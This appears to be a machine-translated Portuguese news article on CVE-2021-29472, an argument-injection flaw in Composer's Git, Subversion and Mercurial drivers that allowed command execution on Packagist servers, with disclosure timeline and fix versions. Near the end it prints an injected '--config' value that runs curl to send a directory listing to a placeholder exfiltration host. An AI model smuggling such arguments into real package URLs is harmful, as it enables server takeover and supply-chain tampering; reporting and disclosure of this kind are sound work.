Vulnerabilidade no gerenciador de pacotes Composer que permite que o repositório Packagist PHP seja comprometido

Uma vulnerabilidade crítica (CVE-2021-29472) foi identificada no gerenciador de dependências do Composer que permite a execução de comandos arbitrários no sistema ao processar um pacote com um valor de URL especialmente formatado que especifica o endereço para download do código-fonte. O problema ocorre nos componentes GitDriver, SvnDriver e HgDriver usados ​​ao usar os sistemas de controle de origem Git, Subversion e Mercurial. A vulnerabilidade foi resolvida nas versões 1.10.22 e 2.0.13 do Composer.

Observa-se especificamente que o problema afetou principalmente o repositório de pacotes padrão do Composer, Packagist, que contém 306 pacotes para desenvolvedores PHP e atende mais de 1.4 bilhão de downloads por mês. O experimento mostrou que se houvesse conhecimento do problema, os invasores poderiam obter o controle da infraestrutura Packagist e interceptar as credenciais dos mantenedores ou redirecionar downloads de pacotes para um servidor de terceiros, organizando a entrega de variantes de pacotes com alterações maliciosas para substituir um backdoor. durante o processo de instalação da dependência.

O perigo para os usuários finais é limitado ao fato de que o conteúdo do compositor.json geralmente é determinado pelo usuário, e os links de origem são transmitidos ao acessar repositórios de terceiros, que geralmente são confiáveis. O principal golpe recaiu sobre o repositório Packagist.org e o serviço Private Packagist, que chamava Composer com a transferência dos dados recebidos dos usuários. Os invasores poderiam executar seu código nos servidores Packagist colocando um pacote especialmente projetado.

A equipe Packagist corrigiu a vulnerabilidade 12 horas após a vulnerabilidade ser relatada. Os pesquisadores notificaram privadamente os desenvolvedores do Packagist em 22 de abril, e o problema foi resolvido no mesmo dia. Uma atualização pública do Composer abordando a vulnerabilidade foi publicada em 27 de abril, com detalhes revelados em 28 de abril. Uma auditoria dos logs nos servidores Packagist não revelou nenhuma atividade suspeita relacionada à vulnerabilidade.

O problema é causado por um bug no código de validação de URL no arquivo compositor.json raiz e nos links de download de origem. O erro está presente no código desde novembro de 2011. O Packagist usa camadas especiais para organizar o carregamento do código sem estar vinculado a um sistema de controle de origem específico, que são executadas chamando “fromShellCommandline” e passando argumentos de linha de comando. Por exemplo, para git, o comando "git ls-remote -heads $URL" é chamado, onde a URL é processada usando o método "ProcessExecutor::escape($url)", escapando de construções potencialmente perigosas como "$(. ..)" ou "` ...`".

A essência do problema é que o método ProcessExecutor::escape não escapou da sequência “-”, o que permitiu que qualquer parâmetro de chamada adicional fosse especificado na URL. Esse escape estava faltando nos drivers GitDriver.php, SvnDriver.php e HgDriver.php. O ataque GitDriver.php foi dificultado pelo fato de que o comando “git ls-remote” não suportava a especificação de argumentos adicionais após o caminho. Um ataque ao HgDriver.php acabou sendo possível passando o parâmetro “--config” para o utilitário “hq”, que permite organizar a execução de qualquer comando manipulando a configuração “alias.identificar”. Por exemplo, para baixar e executar código executando o utilitário curl, você pode especificar: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Ao postar um pacote de teste com uma URL semelhante ao Packagist, os pesquisadores verificaram que após a postagem, seu servidor recebeu uma solicitação HTTP de um dos servidores Packagist na AWS contendo uma lista de arquivos no diretório atual.

Fonte: opennet.ru

Adicionar um comentário